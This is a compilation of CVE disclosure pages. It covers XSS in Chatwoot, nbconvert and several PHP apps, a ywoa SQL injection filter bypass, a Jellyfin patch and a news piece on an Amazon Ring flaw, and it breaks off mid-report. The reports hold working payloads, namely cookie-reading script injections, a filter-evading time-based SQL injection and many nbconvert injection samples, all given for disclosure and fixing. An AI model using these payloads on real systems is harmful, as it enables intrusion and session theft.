Cross-site Scripting (XSS) - DOM in GitHub repository chatwoot/chatwoot prior to 2.7.0.

**Title**

XSS in markdown link-maker

**Description**

While chatting with a client, both sides may use markdown. However, neither client's nor Chatwoot inner user's input is verified.

**Steps to reproduce.**

Note: this works in Safari and Firefox, not Chrome.

I will use Telegram bot.

1.  1\. Start a conversation as an attacker with Chatwoot staff using created Telegram bot.
2.  2\. Send payload [clickMe](javascript:alert(document.cookie)) as a message.
3.  3\. As a Chatwoot staff click on the link, trigger an XSS.

Also it is possible to create a malicious link as a staff (e.g. leave it in other's staff conversation in order to trigger an XSS on their side).

1.  1\. While intercepting your traffic send a message [clickMe](https://google.com) to pass frontend check.
2.  2\. In the outcoming POST request to /api/v1/accounts/2/conversations/1/messages modify the body, so it looked something like this:

    {
        "content":"[click](javascript:alert(document.cookie))",
        "private":false,
        "echo_id":"{yourId}",
        "cc_emails":"",
        "bcc_emails":""
    }
    

3.  3\. As some other staff click on the link, trigger an XSS.

I'm leaving a video PoC for both cases:

Video PoC

**Possible remediation**

Verify message content.

**Impact**

This vulnerability is capable of running an arbitrary JS code.

CVE-2022-0542: Cross-site Scripting (XSS) - DOM in chatwoot

DolphinPHP 1.5.1 is vulnerable to Cross Site Scripting (XSS) via Background - > System - > system function - > configuration management.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-37254: DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS) · Issue #42 · caiweiming/DolphinPHP

Yimioa v6.1 was discovered to contain a SQL injection vulnerability via the orderbyGET parameter.

**ywoaSQL-Inject-Bypass****Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

http://partner.yimihome.com/static/index.html#/index/sys\_env

**1, personnel - personnel information - orderbyGET parameter SQL injection**

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Bypass Payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

**Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment  
  
One-click installation, after the installation will prompt the system has expired, go to setup and take a look  
  
Until June 1, but it's okay, here to change the system time can be  
  
  
Login successfully

**Code audit****1\. Personnel - personnel information - orderbyGET parameter SQL injection**

  

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname\_cond=0&realname=test18&sex=&sex\_cond=1&dept=&dept\_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

**SQL injection Bypass**

The above injection payload is as follows

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

The environment here is from idea, but idea has a lot of error reports, many functions are not available, I changed to Windows one-click deployment  
  
After building it, debug it remotely with idea  
  
When you try to reproduce this vulnerability again, you will be prompted with an XSS interception  
  
  
It was curious at the time why this was XSS intercepted and not SQL intercepted? Look at the code  
  
The specific detection logic is in the filter method in SecurityUtil.java, so let's look at the code logic here  
  
Briefly, the main thing here is to get the values of the request parameters, and then pass them one by one to the following detection logic  
  
Since we just prompted for an XSS attack, we will follow directly into the method antixss to see the specific implementation logic  
Next you will come to Antixss.Java

    src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
    

  
The antiXSS method is called by passing in the html to be detected and a true  
  
Follow directly in to see  
  
Check the \_antiXSS method, where the content is passed in is the content to be detected  
  
Here is the specific detection logic, but I'm only looking at the stripScriptTag method here, because it is the content inside this method that is detected, and our focus is only on what parameters are detected  
  
Mainly by means of regularity and case-insensitive because of CASE_INSENSITIVE  
  
Pull the following when you can see, in fact, and or sleep is filtered, create a new test class, and adjust it to know  
  
Remove AND  
  
The statement is normal, put back and remove sleep, the statement is normal, so since this is the case, replace and with &&, you can  
  
statement returns normally, then after returning here  
  
Returning to SecurityUtil.java, it will enter the logic of SQL injection, following the isValidSqlParam method  
  
Follow the sql_inj method  
  
We have already bypassed the detection of and and need to bypass the code logic in the second box  
  
The main logic here is to separate inj\_str using |, which will generate a list to inj\_stra\[\], and then iterate through the list, each loop will use the indexOf method to determine whether the value in inj\_stra\[i\] is in str, that is, if indexOf returns > 0 value exists, and vice versa, it does not exist, here you can also write a class tuned  
  
  
In the sixth loop, which is when select is detected, then it is obvious that you need to bypass select  
Here I was going to try to use

&& extractvalue(1,concat('~',database()))

Unfortunately, '~' will be detected as XSS, so this method does not work  
  
The && here needs to be converted to url encoding, otherwise this request will report 400  
  
So we can only think of ways to select this keyword, here is a bypass of the payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

  
Tips: Here just by looking at the screenshot you may think that you can bypass it with SELECT capitalization, but in fact it will be converted to lowercase before calling the sql_inj method  
  
So there is no way to capitalize to bypass

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

**Function implementation entrance**

  
  
First will get the get parameter code, if the code parameter is empty, then get the Get parameter moduleCode and assign it to code, if there is no moduleCode in the get parameter, then get the formCode and copy it to code, here the code parameter passed in is personbasic  
  
Continue to the next page  
  
Here is the OA developer's own implementation of the SQLBuilder class  
  
  
Follow this method  
  
Follow such as getModuleListSqlAndUrlStr method, then a sql str will be returned, continue down the line is the place that causes SQL injection  
  
Follow up this listResult method  
  
The statements will then be spelled out in the middle  
  
The executeQuery statement is then executed  
  
The difference between the above and the SQL statement is that one is the count spliced in and the other is the original passed in  
  
This is followed by a return, which is executed here with a 5-second wait, so it causes an injection

CVE-2022-36605: ywoa SQL inject Bypass and Analysis of the article · Issue #24 · cloudwebsoft/ywoa

In Jellyfin before 10.8, stored XSS allows theft of an admin access token.

@@ -155,7 +155,7 @@ public ActionResult<IEnumerable<RepositoryInfo>> GetRepositories() /// <response code="204">Package repositories saved.</response> /// <returns>A <see cref="NoContentResult"/>.</returns> \[HttpPost("Repositories")\] \[Authorize(Policy = Policies.DefaultAuthorization)\] \[Authorize(Policy = Policies.RequiresElevation)\] \[ProducesResponseType(StatusCodes.Status204NoContent)\] public ActionResult SetRepositories(\[FromBody, Required\] List<RepositoryInfo> repositoryInfos) {

CVE-2022-35910: Require elevation to save list of plugin repositories by crobibero · Pull Request #7569 · jellyfin/jellyfin

Retail giant Amazon patched a high-severity security issue in its Ring app for Android in May that could have enabled a rogue application installed on a user's device to access sensitive information and camera recordings.
The Ring app for Android has over 10 million downloads and enables users to monitor video feeds from smart home devices such as video doorbells, security cameras, and alarm

Retail giant Amazon patched a high-severity security issue in its Ring app for Android in May that could have enabled a rogue application installed on a user's device to access sensitive information and camera recordings.

The Ring app for Android has over 10 million downloads and enables users to monitor video feeds from smart home devices such as video doorbells, security cameras, and alarm systems. Amazon acquired the doorbell maker for about $1 billion in 2018.

Application security firm Checkmarx explained it identified a cross-site scripting (XSS) flaw that it said could be weaponized as part of an attack chain to trick victims into installing a malicious app.

The app can then be used to get hold of the user's Authorization Token, that can be subsequently leveraged to extract the session cookie by sending this information alongside the device's hardware ID, which is also encoded in the token, to the endpoint "ring\[.\]com/mobile/authorize."

Armed with this cookie, the attacker can sign in to the victim's account without having to know their password and access all personal data associated with the account, including full name, email address, phone number, and geolocation information as well as the device recordings.

This is achieved by querying the below two endpoints -

*   account.ring\[.\]com/account/control-center - Get the user's personal information and Device ID
*   account.ring\[.\]com/api/cgw/evm/v2/history/devices/{{DEVICE\_ID}} - Access the Ring device data and recordings

Checkmarx said it reported the issue to Amazon on May 1, 2022, following which a fix was made available on May 27 in version 3.51.0. There is no evidence that the issue has been exploited in real-world attacks, with Amazon characterizing the exploit as "extremely difficult" and emphasizing that no customer information was exposed.

The development comes more than a month after the company moved to address a severe weakness affecting its Photos app for Android that could have been exploited to steal a user's access tokens.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

New Amazon Ring Vulnerability Could Have Exposed All Your Camera Recordings

Cross Site Scripting (XSS) vulnerability exists in the phpgurukul Online Marriage Registration System 1.0 allows attackers to run arbitrary code via the wzipcode field.

**Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting**

**Platform:****PHP**

**Date:****2020-05-27**

  

    Exploit Title: Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting
    # Google Dork: N/A
    # Date: 2020-05-26
    # Exploit Author: that faceless coder(Inveteck Global)
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
    # Version: Online Marriage Registration System 1.0 - Stored Cross-Site Scripting
    # Tested on: MAC OS MOJAVE v 10.14.6
    # CVE : N/A
    
    The Online Marriage Registration System suffers from multiple stored cross-site script vulnerabilities: 
    
    if(isset($_POST['submit']))
      {
      
    $nofhusband=$_POST['nofhusband'];
    $hreligion=$_POST['hreligion'];
    $haddress=$_POST['haddress'];
    $hstate=$_POST['hstate'];
    
    $nofwife=$_POST['nofwife'];
    $wreligion=$_POST['wreligion'];
    $waddress=$_POST['waddress'];
    $wstate=$_POST['wstate'];
    $witnessnamef=$_POST['witnessnamef'];
    $waddressfirst=$_POST['waddressfirst'];
    $witnessnames=$_POST['witnessnames'];
    $waddresssec=$_POST['waddresssec'];
    $witnessnamet=$_POST['witnessnamet'];
    $waddressthird=$_POST['waddressthird'];
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    
    $sql="insert into tblregistration(RegistrationNumber,UserID,DateofMarriage,HusbandName,HusImage,HusbandReligion,Husbanddob,HusbandSBM,HusbandAdd,HusbandZipcode,HusbandState,HusbandAdharno,WifeName,WifeImage,WifeReligion,Wifedob,WifeSBM,WifeAdd,WifeZipcode,WifeState,WifeAdharNo,WitnessNamefirst,WitnessAddressFirst,WitnessNamesec,WitnessAddresssec,WitnessNamethird,WitnessAddressthird)values(:regnumber,:uid,:dom,:nofhusband,:husimg,:hreligion,:hdob,:hsbmarriage,:haddress,:hzipcode,:hstate,:hadharno,:nofwife,:wifeimg,:wreligion,:wdob,:wsbmarriage,:waddress,:wzipcode,:wstate,:wadharno,:witnessnamef,:waddressfirst,:witnessnames,:waddresssec,:witnessnamet,:waddressthird)";
    $query=$dbh->prepare($sql);
    $query->bindParam(':nofhusband',$nofhusband,PDO::PARAM_STR);
    $query->bindParam(':hreligion',$hreligion,PDO::PARAM_STR);
    $query->bindParam(':hdob',$hdob,PDO::PARAM_STR);
    $query->bindParam(':hsbmarriage',$hsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':haddress',$haddress,PDO::PARAM_STR);
    $query->bindParam(':hzipcode',$hzipcode,PDO::PARAM_STR);
    $query->bindParam(':hstate',$hstate,PDO::PARAM_STR);
    $query->bindParam(':hadharno',$hadharno,PDO::PARAM_STR);
    $query->bindParam(':nofwife',$nofwife,PDO::PARAM_STR);
    $query->bindParam(':wifeimg',$wifeimg,PDO::PARAM_STR);
    $query->bindParam(':wreligion',$wreligion,PDO::PARAM_STR);
    $query->bindParam(':wdob',$wdob,PDO::PARAM_STR);
    $query->bindParam(':wsbmarriage',$wsbmarriage,PDO::PARAM_STR);
    $query->bindParam(':waddress',$waddress,PDO::PARAM_STR);
    $query->bindParam(':wzipcode',$wzipcode,PDO::PARAM_STR);
    $query->bindParam(':wstate',$wstate,PDO::PARAM_STR);
    $query->bindParam(':wadharno',$wadharno,PDO::PARAM_STR);
    $query->bindParam(':witnessnamef',$witnessnamef,PDO::PARAM_STR);
    $query->bindParam(':waddressfirst',$waddressfirst,PDO::PARAM_STR);
    $query->bindParam(':witnessnames',$witnessnames,PDO::PARAM_STR);
    $query->bindParam(':waddresssec',$waddresssec,PDO::PARAM_STR);
    $query->bindParam(':witnessnamet',$witnessnamet,PDO::PARAM_STR);
    $query->bindParam(':waddressthird',$waddressthird,PDO::PARAM_STR);
     $query->execute();
    
       $LastInsertId=$dbh->lastInsertId();
       if ($LastInsertId>0) {
    
    echo '<script>alert("Registration form has been filled successfully.")</script>';
      }
      else
        {
             echo '<script>alert("Something Went Wrong. Please try again")</script>';
        }
    
    The data gets stored through the mentioned vulnerable parameters into the database. There is no filtering when those values are printed when the web application fetches the data from the database

CVE-2020-23466: Offensive Security’s Exploit Database Archive

A stored cross-site scripting (XSS) vulnerability in Kirby's Starterkit v3.7.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Tags field.

**Cross site scripting in getkirby/starterkit**

Moderate severity GitHub Reviewed Published Aug 19, 2022 • Updated Aug 30, 2022

GHSA-4m2g-668v-jwjx: Cross site scripting in getkirby/starterkit

Ecommerce-CodeIgniter-Bootstrap before commit 56465f was discovered to contain a cross-site scripting (XSS) vulnerability via the function base_url() at /blog/blogpublish.php.

We found multiple XSS vulnerabilities in the latest version of Ecommerce-CodeIgniter-Bootstrap.

Technique details:  
The vulnerabilities occur at base\_url() function. We notice the user inputs (e.g., $\_POST) are used as the parameter of base\_url() function in many places (e.g., the 45th line in /application/modules/admin/views/blog/blogpublish.php), the program echo the return value of this function directly without proper sanitization. This would lead to XSS vulnerabilities.

Example:  
We exploit the echo function in /application/modules/admin/views/blog/blogpublish.php#45 line.  
The attacker can set $\_POST\['img'\] to 'q" onerror="javascript:alert(1)'. Then the img tag becomes  
Then he successfully performs a XSS attack.  

The vulnerability has been fixed in 56465f after we reported it to developers.

CVE-2022-35213: XSS vulnerabilities  · Issue #219 · kirilkirkov/Ecommerce-CodeIgniter-Bootstrap

osCommerce2 before v2.3.4.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the function tep_db_error().

I am using osCommerce2 and find one potential XSS vulnerability in its version 2.3.4.1:

osCommerce implements function _tep\_db\_query()_ to execute SQL statement.  In case of MySQL error, the function _tep\_db\_query()_ would call _tep\_db\_error()_ to handle the mysql errors:

_$result = mysqli\_query($$link, $query) or tep\_db\_error($query, mysqli\_errno($$link), mysqli\_error($$link));_

The _tep\_db\_error()_ function basically calls _die()_ function to display the error back to users: 

_die('<font color="#000000"><strong>' . $errno . ' - ' . $error . '<br /><br />' . $query . ' ...);_

The _$query_ variable is sent by users and is well sanitized against SQL injection. However, it will also be used in the _die()_ function (a sensitive XSS function like _echo()_) when Mysql returns errors. In multiple files (e.g.,  "/admin/modules.php") ,  the $query variable is not sanitized (against XSS) and can be exploited because of the die() function.

I suggest adding XSS sanitizers in the _tep\_db\_error()_ function to avoid this kind of attack.

CVE-2022-35212: Potencial XSS vulnerability

The GitHub Security Lab discovered sixteen ways to exploit a cross-site scripting vulnerability in nbconvert. When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to cross-site scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer).

Cross-linking to https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm

Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches

Below is currently a duplicate of the original report:

Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories.

Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.

**I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.****Impact**

_What kind of vulnerability is it? Who is impacted?_

**Patches**

_Has the problem been patched? What versions should users upgrade to?_

**Workarounds**

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

**References**

_Are there any links users can visit to find out more?_

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in example link to repo
*   Email us at example email address

**GitHub Security Lab (GHSL) Vulnerability Report**

The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 as a reference).

If you are _NOT_ the correct point of contact for this report, please let us know!

**Summary**

When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)

**Product**

nbconvert

**Tested Version**

v5.5.0

**Details****Issue 1: XSS in notebook.metadata.language\_info.pygments\_lexer (GHSL-2021-1013)**

Attacker in control of a notebook can inject arbitrary unescaped HTML in the notebook.metadata.language_info.pygments_lexer field such as the following:

"metadata": {
  "language\_info": {
   "pygments\_lexer": "ipython3-foo\\"\><script>alert(1)</script>"
  }
}

This node is read in the from_notebook_node method:

def from\_notebook\_node(self, nb, resources\=None, \*\*kw):
  langinfo \= nb.metadata.get('language\_info', {})
  lexer \= langinfo.get('pygments\_lexer', langinfo.get('name', None))
  highlight\_code \= self.filters.get('highlight\_code', Highlight2HTML(pygments\_lexer\=lexer, parent\=self))
  self.register\_filter('highlight\_code', highlight\_code)
  return super().from\_notebook\_node(nb, resources, \*\*kw)

It is then assigned to language var and passed down to _pygments_highlight

from pygments.formatters import LatexFormatter
if not language:
  language\=self.pygments\_lexer
latex \= \_pygments\_highlight(source, LatexFormatter(), language, metadata)

In this method, the language variable is concatenated to highlight hl- string to conform the cssclass passed to the HTMLFormatter constructor:

return \_pygments\_highlight(source if len(source) \> 0 else ' ',
  \# needed to help post processors:
  HtmlFormatter(cssclass\=" highlight hl-"+language),
  language, metadata)

The cssclass variable is then concatenated in the outer div class attribute

yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')

Note that the cssclass variable is also used in other unsafe places such as '<table class="%stable">' % self.cssclass + filename_tr +)

**Issue 2: XSS in notebook.metadata.title (GHSL-2021-1014)**

The notebook.metadata.title node is rendered directly to the index.html.j2 HTML template with no escaping:

{% set nb\_title = nb.metadata.get('title', '') or resources\['metadata'\]\['name'\] %}
<title\>{{nb\_title}}</title\>

The following notebook.metadata.title node will execute arbitrary javascript:

 "metadata": {
  "title": "TITLE</title><script>alert(1)</script>"
 }

Note: this issue also affect other templates, not just the lab one.

**Issue 3: XSS in notebook.metadata.widgets(GHSL-2021-1015)**

The notebook.metadata.widgets node is rendered directly to the base.html.j2 HTML template with no escaping:

{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
<script type\="{{ mimetype }}"\>
{{ nb.metadata.widgets\[mimetype\] | json\_dumps }}
</script\>
{% endif %}

The following notebook.metadata.widgets node will execute arbitrary javascript:

 "metadata": {
  "widgets": {
    "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"}
  }
 }

Note: this issue also affect other templates, not just the lab one.

**Issue 4: XSS in notebook.cell.metadata.tags(GHSL-2021-1016)**

The notebook.cell.metadata.tags nodes are output directly to the celltags.j2 HTML template with no escaping:

    {%- macro celltags(cell) -%}
        {% if cell.metadata.tags | length > 0 -%}
            {% for tag in cell.metadata.tags -%}
                {{ ' celltag_' ~ tag -}}
            {%- endfor -%}
        {%- endif %}
    {%- endmacro %}
    

The following notebook.cell.metadata.tags node will execute arbitrary javascript:

  {
   "cell\_type": "code",
   "execution\_count": null,
   "id": "727d1a5f",
   "metadata": {
     "tags": \["FOO\\"\><script>alert(1)</script><div \\""\]
   },
   "outputs": \[\],
   "source": \[\]
  }
 \],

Note: this issue also affect other templates, not just the lab one.

**Issue 5: XSS in output data text/html cells(GHSL-2021-1017)**

Using the text/html output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a cell with text/html output executing arbitrary javascript code:

  {
   "cell\_type": "code",
   "execution\_count": 5,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": \[
    {
     "data": {
      "text/html": \[
        "<script>alert(1)</script>"
      \]
     },
     "execution\_count": 5,
     "metadata": {},
     "output\_type": "execute\_result"
    }
   \],
   "source": \[
    "import os; os.system('touch /tmp/pwned')"
   \]
  },

**Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)**

Using the image/svg+xml output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["image/svg+xml"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {%- else %}
    {{ output.data['image/svg+xml'] }}
    {%- endif %}
    

The following cell.output.data["image/svg+xml"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/svg+xml": \["<script>console.log(\\"image/svg+xml output\\")</script>"\]
     },
     "execution\_count": null,
     "metadata": {
     }
    }

**Issue 7: XSS in notebook.cell.output.svg\_filename(GHSL-2021-1019)**

The cell.output.svg_filename nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {%- if output.svg_filename %}
    <img src="{{ output.svg_filename | posix_path }}">
    

The following cell.output.svg_filename node will escape the img tag context and execute arbitrary javascript:

  {
   "cell\_type": "code",
   "execution\_count": null,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": \[
    {
     "output\_type": "execute\_result",
     "svg\_filename": "\\"\><script>alert(1)</script>",
     "data": {
      "image/svg+xml": \[""\]
     },
     "execution\_count": null,
     "metadata": {
     }
    }
   \],
   "source": \[""\]
  },

**Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)**

Using the text/markdown output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["text/markdown"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {{ output.data['text/markdown'] | markdown2html }}
    

The following cell.output.data["text/markdown"] node will execute arbitrary javascript:

        {
         "output_type": "execute_result",
         "data": {
          "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"]
         },
         "execution_count": null,
         "metadata": {}
        }
    

**Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)**

Using the application/javascript output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The cell.output.data["application/javascript"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    <script type="text/javascript">
    var element = document.getElementById('{{ div_id }}');
    {{ output.data['application/javascript'] }}
    </script>
    

The following cell.output.data["application/javascript"] node will execute arbitrary javascript:

        {
         "output_type": "execute_result",
         "data": {
          "application/javascript": ["console.log(\"application/javascript output\")"]
         },
         "execution_count": null,
         "metadata": {}
        }
    

**Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)**

The cell.output.metadata.filenames["images/png"] and cell.metadata.filenames["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- if 'image/png' in output.metadata.get('filenames', {}) %}
    <img src="{{ output.metadata.filenames['image/png'] | posix_path }}"
    

The following filenames node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \[""\]
     },
     "execution\_count": null,
     "metadata": {
       "filenames": {
          "image/png": "\\"\><script>console.log(\\"output.metadata.filenames.image/png injection\\")</script>" 
       }
     }
    }

**Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)**

Using the image/png or image/jpeg output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["images/png"] and cell.output.data["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- else %}
    <img src="data:image/png;base64,{{ output.data['image/png'] }}"
    {%- endif %}
    

The following cell.output.data["image/png"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \["\\"\><script>console.log(\\"image/png output\\")</script>"\]
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)**

The cell.output.metadata.width and cell.output.metadata.height nodes of both image/png and image/jpeg cells are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- set width=output | get_metadata('width', 'image/png') -%}
    width={{ width }}
    {%- set height=output | get_metadata('height', 'image/png') -%}
    height={{ height }}
    

The following output.metadata.width node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \["abcd"\]
     },
     "execution\_count": null,
     "metadata": {
        "width": "\><script>console.log(\\"output.metadata.width png injection\\")</script>"
     }
    }

**Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)**

The cell.output.data["application/vnd.jupyter.widget-state+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {% set datatype_list = output.data | filter_data_type %}
    {% set datatype = datatype_list[0]%}
    <script type="{{ datatype }}">
    {{ output.data[datatype] | json_dumps }}
    </script>
    

The following cell.output.data["application/vnd.jupyter.widget-state+json"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "application/vnd.jupyter.widget-state+json": "\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//"
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)**

The cell.output.data["application/vnd.jupyter.widget-view+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {% set datatype_list = output.data | filter_data_type %}
    {% set datatype = datatype_list[0]%}
    <script type="{{ datatype }}">
    {{ output.data[datatype] | json_dumps }}
    </script>
    

The following cell.output.data["application/vnd.jupyter.widget-view+json"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "application/vnd.jupyter.widget-view+json": "\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//"
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 15: XSS in raw cells(GHSL-2021-1027)**

Using a raw cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a raw cell executing arbitrary javascript code:

  {
   "cell\_type": "raw",
   "id": "372c2bf1",
   "metadata": {},
   "source": \[
    "Payload in raw cell <script>alert(1)</script>"
   \]
  }

**Issue 16: XSS in markdown cells(GHSL-2021-1028)**

Using a markdown cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a markdown cell executing arbitrary javascript code:

  {
